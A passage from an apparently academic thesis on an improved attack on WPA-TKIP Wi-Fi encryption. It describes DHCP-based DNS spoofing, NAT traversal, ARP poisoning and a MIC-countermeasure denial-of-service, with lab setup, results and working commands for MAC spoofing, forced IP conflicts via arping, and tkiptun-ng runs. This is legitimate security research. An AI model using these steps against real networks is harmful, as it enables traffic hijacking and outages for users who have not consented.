of keystream the possibilities become overwhelming. Now, it is possible to
inject almost all kinds of traffic concerning control information such as TCP
SYN/ACK, DNS, DHCP, ICMP, ARP and more. We will now present some
new possible application areas for this improved attack as a consequence of
the larger obtained keystream.
4.3.1 DHCP DNS Attack
Domain Name System (DNS) servers are an essential part of the Internet
infrastructure. Their main task is to translate domain names into IP ad-
dresses. Clients request a domain name to a DNS server, from which the
DNS server will respond with the corresponding IP address of that domain
name. The common way to exploit DNS information is to listen for out-
going DNS requests from a client. Then, before the DNS server have time
to respond, the attacker will respond with a fake DNS reply to the client,
providing the client with an IP address to a malicious server. Since this re-
quires interception of traffic in both directions, this attack would not work
with the improved attack on TKIP. However, we discovered that the DHCP
ACK sent in response from the AP to a STA contains the IP Address of the
DNS server. If one could make a client accept such a packet, the IP Address
of the DNS server could easily be spoofed to an IP Address of a malicious
DNS server.
Simply injecting a malicious DHCP ACK packet into a network would do
no harm, as all clients would reject it. In order for a client to accept such a
packet, the client must first have sent a DHCP Request to the router. Having
sent a DHCP request, the client will accept DHCP ACK packets from the
74 An Improved Attack on TKIP
router with the same Transaction ID as the DHCP Request. Some operating
systems
1
simply increment this Transaction ID for every new packet. Hence,
by looking at the Transaction ID of the decrypted DHCP ACK packet, one
could predict the value of successive DHCP ACK messages.
To mount such an attack, the attacker would need a way of forcing
a client to renew its DHCP settings. This is possible by injecting fake
Gratuitous ARPs tricking the client into believing that an IP conflict has
occurred on the network. By observing the behavior of the client, one could
in advance prepare a malicious DHCP ACK response and inject it into to
the network at the very moment a DHCP request is observed. Assuming
that this DHCP ACK packet has a valid transaction ID, the client would
accept it and reject the real message coming from the router. Figure 4.3
shows the DHCP message exchange after the occurrence of an IP conflict,
the figure also shows when the attacker must inject his fake DHCP ACK
packet to be able to spoof the DNS server.
STA AP
(BROADCAST)
#1: DHCP Decline
#3: DHCP Offer
#4: DHCP Request
#6: DHCP ACK
IP conflict
#2: DHCP Discover
#5: DHCP ACK with
spoofed DNS server IP
Figure 4.3: A sequence diagram showing a DHCP DNS attack and the message
exchange after the occurrence of an IP conflict
From our experiment
2
, in order to create an IP conflict at a STA by send-
ing fake gratuitous ARP requests to the STA, the attacker would need to
inject four packets. As described in Section 2.9, due to WMM only offering
four different QoS channels, and one already being used for regular data, the
attacker would be left with only three QoS channels to inject packets. This
is not sufficient to create an IP conflict. However, if the attacker would be
able to get keystreams for two packets with different TSC, he could first use
the keystreams of the packet with the lowest TSC, then use the keystream of
1
We observed this behavior in Mac OS X 10.5.6
2
The STA was running Mac OS X 10.5.6
Application Areas 75
the packet with the highest TSC. The attacker would of course need to chop
two different packets, but since he would need to chop two packets (ARP +
DHCP ACK) for this attack anyway, it would not cause any additional time
overhead. Figure 4.4 shows the different steps in such an attack.
Capture
DHCP ACK packet
TSC = X
DONE
START
De-authenticate a STA
Capture
ARP packet
TSC = Y (Y > X)
Chopchop
ARP packet
Original attack on TKIP
Result:
- STA IP Address
- AP IP Address
- MIC Key
- 48 byte keystream for TSC=Y
Chopchop
DHCP ACK packet
Improved attack on TKIP
Result:
- DHCP Transaction ID
- 596 byte keystream for TSC=X
TSC X: Inject ARP to STA on QoS channel 1
TSC X: Inject ARP to STA on QoS channel 4
TSC Y: Inject ARP to STA on QoS channel 1
TSC Y: Inject ARP to STA on QoS channel 4
STA IP conflict
TSC X: Inject fake DHCP ACK to STA on QoS channel 6
Wait for DHCP Request
from STA
Figure 4.4: Flowchart showing a DHCP DNS attack
76 An Improved Attack on TKIP
4.3.2 NAT Traversal Attack
Another attack that seems possible when limited to injection of AP-to-STA
packets only, is a NAT Traversal attack, as illustrated in Figure 4.5. The
idea behind this attack is to inject a fake TCP SYN packet that appears to
originate from an external IP address at a specific TCP port. The machine
on the internal network will then respond with a TCP SYN/ACK packet,
which in turn will force the router to establish a NAT mapping between
the internal and external ports and IP addresses. The external machine will
then receive the TCP SYN/ACK and can act correspondingly. The attacker
will now be able to send traffic directly to the internal client on the open
port in the firewall. This could for instance be used to exploit some un-
patched vulnerability at the client. Additionally, this attack will reveal the
Internet IP address of the network, which could be useful in other scenarios
as well.
AP
Attacker
#1 S
Y
N
: D
st.port=80, S
rc.port=666, IP
: 1.2.3.4
Internet
Malicious Server
#2 SYN/ACK: Dst.port 666, IP: 1.2.3.4
IP: 1.2.3.4
IP: 10.0.0.2
IP: 10.0.0.1
STA
Wireless Network
#3 NAT map:
port 666 for
IP 1.2.3.4
Figure 4.5: NAT traversal attack using TCP SYN packets to open a port in the
firewall of the router, allowing external machines to communicate with a machine
on the internal network
Chapter 5
Laboratory Environment
This chapter will describe the hardware and software used in our laboratory
environment. The exact specifications of the laboratory environment are
essential in order to reproduce the same results as we obtained during our
research.
5.1 Hardware
The hardware used in the experiments consists of three entities: the victim,
the attacker and the access point. The attacker is not connected to any
network, but has a wireless network card that is able to operate in monitor
mode and thus perform all types of wireless attacks. The victim computer
should reflect a typical user or consumer connected wirelessly to the AP. For
our experiment, the victim uses an Apple MacBook laptop. The reason for
choosing this particular hardware was because the success rate of attacking
such a computer was higher in the initial experimental phase compared to
other types of available hardware. Section 6.6 and 7.5 will describe the prob-
lems with different hardware and software in greater detail. Additionally,
a Linksys wireless router was used, the most critical requirement being the
support of 802.11e QoS/WMM.
77
78 Laboratory Environment
5.1.1 Computers
The Victim
Model Apple MacBook4,1
CPU Intel Core 2 Duo 2.1 GHz
Memory 4 GB
Operating System Mac OS X 10.5.6
Wireless Interface AirPort Extreme, Broadcom BCM43xx 1.0
(5.10.38.27)
MAC Address 00:23:12:02:E1:F9
Table 5.1: Specifications of the victim’s computer
The Attacker
Model Dell Optiplex GX270
CPU Intel Pentium 4 2.60 GHz
Memory 1 GB
Operating System Ubuntu Release 8.10
Linux Kernel 2.6.27-14-generic
Wireless Card D-Link DWL-G122 USB Adapter (Ralink chipset -
RT73)
Wireless Driver Ralink RT73 802.11abg - k2wrlz modifications 3.0.2
MAC Address 00:22:B0:5F:88:4C
Table 5.2: Specifications of the attacker’s computer
5.1.2 Access Point
Model Linksys WRT54GL v1.1
Firmware v4.30.11, Aug. 17, 2007
Supported Standards IEEE 802.3, IEEE 802.3u, IEEE 802.11g, IEEE
802.11b, IEEE 802.11e QoS/WMM
Wireless Security WEP, WPA/WPA2 Personal, WPA/WPA2 Enter-
prise, RADIUS
BSSID 00:18:39:C6:4F:96
Router MAC Address 00:18:39:C6:4F:94
Table 5.3: Specifications of the access point
Software 79
5.2 Software
Software is an important part of the laboratory environment when working
with network security. There exist much software, especially for the Linux
platform, to perform network analysis, packet forgery, replay attacks and
more. In this section we will describe our software toolkit when working
with network security. We will describe software suites like aircrack-ng and
wireshark, as well as explaining the most useful command line tools like
ifconfig and iwconfig and how these are used in the experiments.
5.2.1 The Aircrack-ng Suite
Aircrack-ng is an 802.11 security software suite based on open source [7].
Aircrack-ng consists of several different command-line tools for auditing
wireless networks, including tools for sniffing and cracking wireless traffic.
All the tools of the suite, together with a short description, are listed in
Table 5.4. The suite also contains tkiptun-ng, an implementation of Beck
and Tews’ attack on TKIP. This section will give a brief presentation of the
most important tools of the suite.
The most important tool of the suite is arguably the aircrack-ng tool
itself. This tool is used for the actual cracking of WEP and WPA-PSK
networks. The tool implements the PTW attack for WEP, which is able
to perform a key recovery attack in a matter of seconds (see Section 2.5).
For WPA/WPA2-PSK networks, the tool relies on brute force or dictionary
attacks. The aircrack-ng tool relies on traffic captured using the included
airodump-ng tool or any other network traffic capture tool.
Aircrack-ng also provides a tool to enable monitor mode on a WLAN in-
terface; airmon-ng. To capture and inject raw 802.11 traffic, monitor mode
must be enabled. This is a requirement for most attacks. The aireplay-ng
tool is used in attacks that rely on traffic injection, such as de-authentication,
Chopchop and others. The last tool that is worth mentioning is packetforge-
ng, which is used to generate forged encrypted packets that can be injected
into the network. The packetforge-ng tool does not yet support generation
of encrypted TKIP packets.
For information about usage of these tools, we refer to the Aircrack-ng
home page [7]. This page contains detailed guides and tutorials on how to
set up and use the Aircrack-ng suite.
80 Laboratory Environment
Tool Name Description
airbase-ng Multi-purpose attack tool aimed at STAs (Under de-
velopment)
aircrack-ng WEP and WPA-PSK key-cracking tool
airdecap-ng Capture file decryption tool
airdecloak-ng Tool to remove WEP cloaking from capture files (Un-
der development)
airdriver-ng Wireless driver tool (Under development)
aireplay-ng Frame injection tool
airmon-ng Tool to enable monitor mode on wireless interfaces
airodump-ng Packet capturing tool
airolib-ng Password and ESSID storage tool (Under develop-
ment)
airserv-ng Server tool that allows applications to use the wireless
interface (Under development)
airtun-ng Tool to create virtual tunnel interfaces
easside-ng Automatic tool used to communicate with a WEP net-
work without knowing the key (Under development)
packetforge-ng Tool used to generate encrypted packets
tkiptun-ng Implementation of Beck and Tews’ attack on TKIP
(Under development)
wesside-ng Automatic tool for WEP key cracking (Under devel-
opment)
Table 5.4: Tools of the Aircrack-ng Suite
5.2.2 Wireshark
Wireshark [36] is an open source network tool used to inspect and analyze
network traffic. It provides a graphical user interface (GUI) with human
readable interpretation of the binary frames being captured from the net-
work, as seen in Figure 5.1. It is commonly used to capture all traffic from
a desired network interface. The user can select which interface to listen to,
and wireshark will display a live capture preview in its GUI.
Wireshark also supports an extensive set of output filtering. By do-
ing this, a user can create filtering rules and thus easier detect the desired
frames. Frames of data could in turn be saved as files to be used with other
programs for injection or modification. There also exist patches and exten-
sions for supporting for instance re-injection of packets upon inspection or
modification.
Software 81
Figure 5.1: Screenshot of Wireshark live capture
5.2.3 Command Line Tools
In addition to the tools mentioned above, there exist several useful command
line tools that can be very useful in order to perform attacks on networks.
We will now describe the essential tools that we have been using.
ifconfig
Ifconfig is a built-in command in all Unix based system. It stands for Inter-
face Configurator. It can be used to change several parameters related to
network interfaces such as IP addresses, network mask addresses and MAC
addresses.
For instance, to change (i.e. spoof) a MAC address of the interface rausb0,
the following command can be issued:
ifconfig rausb0 down # Deactivate the interface
ifconfig rausb0 hw ether 00:11:22:33:44:55 # Change the MAC address
ifconfig rausb0 up # Activate the interface
where rausb0 is the name of the interface, and 00:11:22:33:44:55 is the
fake MAC address that the interface is set to.
There also exists a command line tool called macchanger, which automates
82 Laboratory Environment
the commands above in one single command:
macchanger -m 00:11:22:33:44:55 rausb0
iwconfig
Iwconfig is a part of the Wireless tools for Linux, which is a package of com-
mand line tools for configuring wireless devices. Iwconfig is used similar to
ifconfig, but changes wireless specific parameters such as channel, frequency,
SSID, power and more.
In order to perform an attack, the attacker must set the wireless interface
in monitor mode. This enables the attacker to inject and capture packets
without being associated with the AP. This is done with the following com-
mand:
iwconfig rausb0 mode monitor channel 6
where rausb0 is the name of the interface and 6 is the desired wireless
channel.
arping
Arping is a command-line tool used for sending ARP requests and display
the replies. The tool can be used to specify all parameters of the ARP re-
quest, thus making it possible to send fake requests that initiate IP conflicts.
As an example, to trigger a DHCP renewal on Mac OS X, the OS must
receive four ARPs indicating an IP conflict, by issuing the following com-
mand:
sudo arping -S 192.168.1.101 -c 4 -i en1 192.168.1.101
Where 192.168.1.101 is the IP address of the computer we want to trigger
an IP conflict at. The parameter -c 4 indicates that we want to send four
packets, and en1 is the network interface to send the packets on. This com-
mand will produce an ARP request where the source and destination IP are
identical, but the MAC addresses differ. Thus, the receiver will assume that
another machine has the same IP as itself.
Chapter 6
Experiments
Experiments are an essential part of scientific research. This chapter begins
by presenting the iterative method employed during our work. Using this
method, we will in this chapter first present how we verified the original
attack by Beck and Tews [10]. Next, we will describe how we extended the
code into performing specific attacks. Then, we will verify our own improved
attack on TKIP, which is able to reveal larger amounts of keystream. The
last part will describe how we experimented with different hardware and
software environments. To ease the readability of this chapter, we feel it
is necessary to explain some of the discoveries and enhancements we made
during the experimentation. This does also reflect the fact that we worked
iteratively during this process.
6.1 Preparations for the Attacks
To prepare our attack system, an initialization procedure was carried out.
This procedure applies to all experiments conducted. First we had to change
the MAC address of our interface to the one of the STA being attacked:
ifconfig rausb0 down
macchanger -m 00:23:12:02:E1:F9 rausb0
ifconfig rausb0 up
Where rausb0 is the WLAN interface being used. And 00:23:12:02:E1:F9
is the Ethernet MAC address of the STA being attacked. It was also needed
to set the interface in monitor mode and on the same channel as the network:
iwconfig rausb0 mode monitor channel 6
Where 6 is the WLAN channel of the target network.
83
84 Experiments
6.2 Verification of the Original Implementation
The proof-of-concept implementation of Beck and Tews’ attack on TKIP is
called tkiptun-ng, and is written by Martin Beck. Tkiptun-ng was added to
the Aircrack-ng suite in November of 2008. The tool is still, as of May 2009,
in early development. Tkiptun-ng implements the attack by attempting to
obtain a valid keystream and MIC key for AP to STA communication. This
is accomplished by decrypting an ARP packet destined for the STA by using
the Chopchop-like approach as described in Section 3.2. The tool will then
attempt to resend the packet on another QoS channel as a verification of
the attack.
This section will describe our practical verification of tkiptun-ng. In
this experiment we used the hardware as described in Section 5.1. The
tkiptun-ng version used was the one included in Aircrack-ng 1.0rc2 (Re-
leased January 23, 2009).
The attack was then executed with the command:
tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 rausb0
Where 00:18:39:C6:4F:96 is the BSSID of the network, 00:23:12:02:E1:F9
is the STA MAC and rausb0 is the WLAN interface.
During testing it was obvious that the tool was in early development, and
the success rate of our experimentation varied. Even so, the tool was able to
complete after several attempts, and thus we obtained keystream and MIC
key for AP to STA communication. We also observed that an ARP request
was injected in the network on another QoS channel, thus proving that the
keystream and MIC key was correct.
The main reason for the low success rate of the original tkiptun-ng, was
that it would often trigger the MIC countermeasures. In effect, the wireless
network would be deactivated for one minute, and consequently generate
new cryptographic keys as explained in Section 2.6.7. The reason for this
was that the attacker failed at detecting the MIC Failure report, and as
a result, tkiptun-ng would then restart the guessing upon trying all 256
permutations of a byte. This caused two frames with incorrect MIC to
be received by the STA in less than one minute, thus triggering the MIC
countermeasures. To improve on this behavior, we modified tkiptun-ng to
wait for one minute if no MIC Failure Report was detected after the first
256 guesses. This small improvement proved to significantly increase the
success rate of the attack. Our contribution was added to the aircrack-ng
Modifying tkiptun-ng Into an ARP Poisoning Attack 85
repository
1
after posting the suggestion on their web forum.
6.3 Modifying tkiptun-ng Into an ARP Poisoning
Attack
In their paper, Beck and Tews proposed that their attack could be used
for ARP poisoning [10]. The first implementation of the attack, tkiptun-ng,
only included a re-injection of a valid ARP packet. Thus, the attack did no
harm on the network being compromised.
As a proof-of-concept, we have modified tkiptun-ng to send a forged
ARP packet to the STA being attacked. The code for this attack can be
found in Appendix A.2. This packet will cause the ARP cache of the STA
to be modified, associating the IP address of the default router to the MAC
address of another STA on the network. The theory of the ARP protocol
and ARP poisoning attacks was discussed in Section 2.10.
This attack uses the keystream and MIC key obtained in the original
TKIP attack to create a fake ARP packet. This packet contains the false
information: 192.168.1.1 is at 00:1C:B3:B5:71:43.
The attack was executed with the command:
tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 rausb0
Where 00:18:39:C6:4F:96 is the BSSID of the network, 00:23:12:02:E1:F9
is the STA MAC and rausb0 is the WLAN interface.
6.4 Modifying tkiptun-ng Into a Cryptographic DoS
Attack
In Section 6.3, we described a proof-of-concept implementation of an ARP
poisoning attack on TKIP. An ARP poisoning attack could act as a Denial-
of-Service (DoS) attack for a short period of time until the ARP cache has
been automatically fixed. Due to the limited number of QoS channels, the
attacker is limited in the number of packets that can be injected. Sustaining
an ARP-based DoS attack is therefore not possible over a longer period of
time.
However, a more sophisticated way of performing a DoS attack on a
TKIP network is possible. As described in Section 2.6.7, the designers of
1
Link to trac-ticket for this improvement: http://trac.aircrack-ng.org/ticket/582
86 Experiments
TKIP realized that Michael was not sufficiently secure, and as a consequence,
the MIC countermeasures were implemented. The MIC countermeasures
force the AP to shut down for 60 seconds and perform a re-keying if two or
more MIC failure report frames are received within one minute.
What the designers did not predict was that these MIC failure reports
could be intentionally initiated through a modified Chopchop attack. Ap-
pendix A.1 contains a proof-of-concept modification of tkiptun-ng that con-
tinues the Chopchop procedure after the first MIC failure report frame was
received. In the original code, the attacker would wait for 60 seconds upon
receiving a MIC failure report to avoid triggering the MIC countermeasures.
However, the goal of a DoS attack would be to do the exactly opposite,
namely to trigger the MIC countermeasures. Hence, upon receiving a MIC
failure report, the attacker will just inject the same packet that triggered
the MIC failure report once more. This will cause the AP to shut down and
re-key. Compared to other types of DoS attacks which usually requires high
bandwidth usage, this attack only need to send
2
8
2
= 128 packets on average
to trigger the first MIC failure report, and one more packet to trigger the
MIC countermeasures, in total 129 packets on average. To continue, the
attacker must wait one minute for the AP to restart, before re-initiating the
attack.
The attack was executed with the command:
tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 rausb0
Where 00:18:39:C6:4F:96 is the BSSID of the network, 00:23:12:02:E1:F9
is the STA MAC and rausb0 is the WLAN interface.
It should be noted that this is in no way a novel approach. Glass and
Muthukkumarasamy [18] describe a similar attack in their paper from 2007.
Nevertheless, the fact that the tkiptun-ng code makes it trivial to extend it
into a working DoS attack should not be ignored.
6.5 Verification of the Improved Attack
As thoroughly described in Chapter 4, we came up with an extension to the
original attack by Beck and Tews, which enables us to decrypt DHCP ACK
packets which may be in the range of 300-600 bytes. This gives the attacker
significantly more keystream, from which he can inject much larger packets
into the network. The attack itself is written as a proof-of-concept extension
of the tkiptun-ng tool, and can be found in Appendix A.3. This section will
describe how to perform the attack and the requirements related to it.
Experimentation With Other Systems 87
To mount the attack, we added one additionally parameter, namely the
IP address of the client. It is reasonably to assume that the attacker would be
in possession of the client’s IP address upon running the original tkiptun-ng
tool (ARP decryption). As this is a proof-of-concept code, the implemen-
tation is specifically designed to work with a Linksys WRT54GL wireless
router and has not been tested with other equipment. However, as argued
in Section 4.1, it should be possible to make the attack more generic.
The attack was executed with the command:
tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 \
-I 192.168.1.100 rausb0
Where 00:18:39:C6:4F:96 is the BSSID of the network, 192.168.1.100
is the IP address of the STA, 00:23:12:02:E1:F9 is the STA MAC and
rausb0 is the WLAN interface.
6.6 Experimentation With Other Systems
In addition to the laboratory environment described in Chapter 5, experi-
mentation with other hardware and software configurations was performed.
This was carried out in order to give a perspective on which systems to
chose as the main laboratory environment. These experiments were also
an essential part of the iterative method of research applied in this thesis,
as described in Section 1.5. This section will give an overview of the differ-
ent hardware and software setups, and the experiments carried out on these.
Table 6.1 gives an overview of the different configurations that were
used as the victim STA in these experiments. As described in Chapter 5, a
MacBook laptop with the built-in WLAN adapter was chosen as the main
laboratory environment STA.
System WLAN Adapter
MacBook Broadcom
Ubuntu 8.10 RT73
MacBook Pro Atheros
MacBook Pro RT73
Windows XP Intel
Windows XP RT73
Table 6.1: The different STAs used for experimentation
88 Experiments
In addition to experimenting with various STAs, miscellaneous APs were
also tested. These were the Linksys WRT54GL, D-Link DIR-655, Hostapd
and Linksys WRT54GL with OpenWRT firmware
2
. The Linksys WRT54GL
with original firmware was chosen as the main laboratory environment AP
as detailed in Chapter 5. Hostapd
3
is a piece of software that can make a
Linux PC function as a wireless AP. Hostapd was installed on a computer
running Ubuntu 8.10 with a wireless network card from 3Com Corporation
using the Atheros AR5413 chipset.
The setups were tested for compatibility with the original tkiptun-ng
attack, as well as the number of injectable QoS channels. In addition to this
the setups were tested with parts of our improved attack, namely the ability
to force DHCP renewal and the predictability of the DHCP Transaction ID.
The results from these experiments are presented in Section 7.5.
2
OpenWRT website: http://openwrt.org/
3
Hostapd homepage http://hostap.epitest.fi/hostapd/
Chapter 7
Results
Conducting scientific research culminates in results. Consequently, this
chapter will present the main findings of our research, starting with the
verification of the original attack on TKIP. Next, we will describe the out-
come of the ARP poisoning attack and the cryptographic DoS attack. Then,
we will present the results of our main contribution, the improved attack on
TKIP. Finally, the results from experimenting with different configurations
are presented.
7.1 Verification of the Original Attack
As part of our experimentation we wanted to verify the implementation of
Beck and Tews’ attack: tkiptun-ng. The procedure carried out to execute
this test was described in Section 6.2 and the theory behind the attack was
thoroughly explained in Chapter 3. It should be noted that this implemen-
tation, at the time of testing, was still in early development, and that it
will most likely undergo some improvements before it is declared complete.
While working on this thesis, we observed that a few improvements were
added to the tkiptun-ng tool in the aircrack-ng svn repository. This in-
cluded our own improvement to the attack, as described in Section 6.2.
Our experimentation shows that the tkiptun-ng implementation works.
It is able to obtain keystream and MIC key for AP-to-STA communication,
and then inject an ARP request into the network on a different QoS channel.
As mentioned in Section 6.2, the original implementation would fail quite
often because it did not detect the MIC failure report frames sent by the
STA. The program would then start guessing the chopped byte over again,
thus triggering the MIC countermeasures. To avoid this we edited the pro-
gram to wait one minute if 256 bytes were guessed without seeing a MIC
failure report frame, this modification was detailed in Section 6.2. It should
89
90 Results
be noted that the experimentation was executed in an environment with
large amounts of wireless traffic. This could have influenced our results, in
a low traffic environment the MIC failures might have been detected more
easily. On the other hand, our experimentation was closer to a real-world
scenario with this presence of other wireless networks.
Beck and Tews claim that their attack takes “little more than 12 min-
utes” [32] to complete. Our experience is that this is an understatement.
The implementation defaults to a speed of guessing ten bytes per second.
Thus the average time to complete without initialization or missed MIC
failure reports is:
12 ×128
10
+ 11 ×60 ≈ 13 minutes and 34 seconds. (7.1)
Where 12 is the number of bytes to chop, 128 is the average number of
guesses per byte, 10 represents ten guesses per second, 11 is the number of
times to wait between bytes and 60 is the MIC failure interval in seconds.
Figure 7.1: A successful completion of the original tkiptun-ng attack
In addition to this, the program has to initialize before it can start the ac-
tual attack. This includes interface setup, de-authentication of the STA,
capturing the WPA handshake and most importantly capturing the ARP
packet from the AP. Additionally, the program waits for ten seconds after
ARP Poisoning Attack 91
capturing the ARP packet to let EAPOL messages pass by uninterrupted.
The time for this process to complete varies from around 20 seconds to
a minute or longer. As explained earlier, we also experienced that MIC
failure reports were quite often missed. Every time this happens the pro-
gram has to wait an additional minute if our improvement is implemented.
If this improvement is not implemented the MIC countermeasures will be
activated, and the attacker has to start the entire attack from the beginning.
The result of this is that the time for the attack to complete in a real-
world scenario varies from about 15 to 20 minutes, depending on the initial-
ization time and the number of missed MIC failure report frames. This is a
bit more than claimed in the paper by Beck and Tews, but still well within
the common re-keying interval of one hour. Figure 7.1 shows a complete
run of the tkiptun-ng tool, as can be seen this took almost 20 minutes to
complete because several MIC failure report frames were missed. The time
could be reduced by increasing the number of packets guessed per second,
but this will come at a risk of missing MIC failure report frames which
introduce a 60 second time penalty.
7.2 ARP Poisoning Attack
As described in Section 6.3, we were able to modify the tkiptun-ng tool such
that it was able to mount an ARP poisoning attack. This section describes
the results of the experimentation with this modification. The theory be-
hind this attack was detailed in Section 2.10.
Figure 7.2 shows the ARP cache of the targeted STA before the attack.
As can be seen, the cache has two entries, one for the AP (192.168.1.1)
and one for another STA on the wireless network (192.168.1.100). The
corresponding MAC addresses for both IPs are correct in this figure.
Figure 7.2: The STAs ARP Cache before poisoning attack
92 Results
After the ARP poisoning attack had been carried out, the ARP cache was
modified as can be seen in Figure 7.3. The IP address of the router was
now mapped to the MAC address contained in the fake ARP packet sent
by the modified tkiptun-ng. As the figure shows, both IP addresses in the
cache now point to the same MAC address. The result of this is that all
IP traffic destined to the router will be sent to the other STA, resulting in
Denial-of-Service.
Figure 7.3: The STAs ARP Cache after poisoning attack
The effects of this attack are not very severe, as the STA being attacked will
refresh its cache after some time. This is because it will notice that its traffic
is not receiving any replies. Nonetheless, the operation of the network has
been disrupted. It is still possible to send additional fake ARP packets on
other QoS channels, to corrupt the ARP cache again, and thus prolonging
the DoS effect. This type of attack is also very hard to detect, as victims
need to inspect the ARP cache in order to detect the modification. No pop-
up messages or other visual notifications through the GUI are given to the
client. It might also be possible to direct the traffic to a computer in which
the attacker has control of, thus other types of attacks can be carried out.
This attack vector has not been tested.
7.3 A Cryptographic Denial-of-Service Attack
In Section 6.4, we described how we were able to modify the tkiptun-ng code
in order to function as a cryptographic DoS attack. This section will de-
scribe the results from the DoS attack.
The goal of the attack was to activate the MIC countermeasures and
thus force the AP to shut down and re-key. As soon as the AP was op-
erational again, the MIC countermeasures would again be re-activated by
the attacker. For this experiment, we had two computers connected to the
A Cryptographic Denial-of-Service Attack 93
AP while the third was the attacker. Upon initiating the attack, the victim
computer would get a message, and consequently inform the user that the
MIC countermeasures had been activated, as illustrated in Figure 7.4. This
notification
1
makes the victim aware of the attack, thus making it easier for
the victim to deduce the cause of the denial-of-service.
Figure 7.4: The client is informed of the MIC countermeasures
To confirm that the AP had shut down, we observed that the other com-
puter connected to network was disconnected as well. Upon restarting the
AP, the attacker would already be in “capture mode”, and thus immediately
be able to re-initiate a chopchop attack eventually resulting in a new round
with MIC countermeasures. On average, the AP would be online for:
10 +
128
10
= 22.8 seconds. (7.2)
First, the attack waits 10 seconds for EAPOL messages to pass
2
, followed
by on average 12.8 seconds to guess the correct byte during the chopchop.
Compared to other types of DoS attacks, this cryptographic DoS attack
is very effective and will damage a whole network with very little effort. For
instance, a de-authentication flood attack would need to continuously send
packets to every client in order to keep them off the network. With this
cryptographic attack, the attacker only need to activate the MIC counter-
measures in the AP, and the AP itself will shut down and deny any client
access for the next 60 seconds. Although the network will be online for 22
seconds between the attacks, it will be difficult for clients to do anything
useful in that short amount of time.
1
As observed on Mac OS X 10.5.6
2
This was part of the original attack, and could possible be removed to shorten the
wait time.
94 Results
7.4 Verification of the Improved Attack
This section will present the results from experimenting with our improved
attack, as described in Section 7.4. The theory behind this attack was de-
tailed in Chapter 4.
The attack worked flawlessly against our laboratory setup. The attack
was able to successfully obtain the keystream for the entire DHCP ACK
packet as well as the MIC key. This means that the attacker gets hold of
596 bytes of keystream, which can be used to inject traffic back into the
network on available QoS channels. Our improved attack is still limited to
AP to STA communication.
Figure 7.5 shows parts of the output from a successful attack. The
screenshot shows both simulated chopping and actual chopping of the DHCP
Transaction ID. As can be seen, the MIC key is reversed from the chopped
MIC, and both the plaintext and keystream are saved. The figure also shows
the computation of the UDP checksum, which is based on the entire plain-
text of the packet. Thus, this must be done after the Transaction ID has
been revealed.
The tested implementation was a proof-of-concept, this means that the
tool is specifically written to target the AP used during our experiments:
Linksys WRT54GL. The source code for this implementation is included in
Appendix A.3. It is likely that this implementation could work against some
other APs, both from Linksys and other vendors, given that it is vulnerable
to the original tkiptun-ng attack. This is because the code only relies on
how DHCP ACK messages are formatted by the AP or an external DHCP
server. It is also trivial to modify the attack to work against APs with dif-
ferent DHCP ACK messages.
During our experimentation, we observed that a DHCP message ex-
change was not always performed after a de-authentication. Additional de-
authentications would thus be needed in order initiate a DHCP message
exchange. This feature in not implemented in the proof-of-concept code,
and therefore the program needs to be restarted in case of such an event.
This introduces some additional time in the initialization phase of the attack.
The duration of the improved attack is somewhat longer than the original
tkiptun-ng, but the resulting keystream obtained is more than tenfold that
of the original attack. The proof-of-concept implementation needs to chop
a total of 16 bytes. This includes the 12 bytes of the original attack, MIC
and ICV. In addition to this the attacker needs to chop the four-byte DHCP
Transaction ID. These four bytes add approximately 5 minutes to the attack
Verification of the Improved Attack 95
time. The average time to complete this attack without missed MIC failure
reports and initialization will then be:
16 ×128
10
+ 15 ×60 ≈ 18 minutes and 25 seconds. (7.3)
Where 16 is the number of bytes to chop, 128 is the average number of
guesses per byte, 10 represents ten guesses per second, 15 is the number of
times to wait between bytes and 60 is the MIC failure interval in seconds.
Figure 7.5: Screenshot from the modified attack, showing a DHCP ACK being
successfully decrypted
The simulated chopchop, introduced in our improved attack, takes negligible
time to compute. Thus, the real-world time for the improved attack is in the
96 Results
range of 20 to 25 minutes, depending mainly on the number of MIC failure
reports missed. As can be seen in Figure 7.5, this particular run took about
23 minutes and 30 seconds. Even if this improved attack needs more time to
complete, it will recover 596 bytes of keystream compared to 48 bytes in the
original attack. This is an increase of obtained keystream by 12.42 times,
in only approximately 20% longer time. Although the previous statement
is true, the IP addresses of the gateway and STA needs to be known in
advance of the attack. This means that the original tkiptun-ng needs to
be run in beforehand, if this information cannot be determined otherwise.
Hence, the total time of the attack will be closer to 40 minutes. It is also
possible to mount the attack if additional bytes are unknown, for instance
the DNS server IP address. This would add about 70 seconds to the total
attack time for each unknown byte.
7.5 Results With Different Configurations
As described in Section 6.6, in addition to the systems described in Chapter
5, experiments with other systems were conducted as well. The experimen-
tation with different configurations provided a good background for which
systems that would be usable for further experimentation, and thus appro-
priate to employ as the main laboratory environment. This section will give
an overview of results on these different configurations.
7.5.1 The Original Tkiptun-ng Attack
The original implementation of tkiptun-ng was tested on several different
setups. As explained in Chapter 5, we ended up using a MacBook laptop as
the STA being attacked, a Linksys WRT54GL as AP and a Linux computer
as the attacker.
The attack was also tested against a Windows XP STA, running on a
Dell Latitude D610 laptop. The attack did not work against this setup,
with neither the built-in Intel WLAN adapter nor an USB adapter based on
the RT73 chipset. When executing the attack, the attacker was unable to
detect MIC Failure reports from the STA. Thus, it was unable to detect if
the chopped byte was guessed correctly. We are not sure if this is due to the
Windows XP computer not sending such reports, or if they are formatted
in such a way that tkiptun-ng could not detect them.
The attack was successfully executed against a Linux computer running
Ubuntu 8.10 and using a RT73 based USB adapter. The Linux machine
was running in a virtual machine using VMWare on Mac OS X. The USB
adapter was under complete control of the virtual machine, so the result is
Results With Different Configurations 97
valid for a non-virtualized setup as well.
We also tried to mount the attack against a MacBook Pro, but the at-
tack failed. We believe this is due to different WLAN adapters on the two
Macs, as all system software on the MacBook and MacBook Pro were iden-
tical. The MacBook Pro was installed with an AirPort Extreme (0x168C,
0x87) adapter, while the MacBook had an AirPort Extreme (0x14E4, 0x88).
By further inspection it was revealed that the MacBook Pro had a WLAN
adapter from Atheros, while the MacBook had an adapter from Broadcom.
The adapters were identified as Atheros 5424 and Broadcom 43xx respec-
tively.
By using a RT73 based USB adapter on the MacBook Pro we were able
to detect some MIC Failure Reports, and thus the attack worked. But it
was very unstable (i.e. MIC Failures were often not detected), which we
believe is due to driver issues.
7.5.2 Access Points
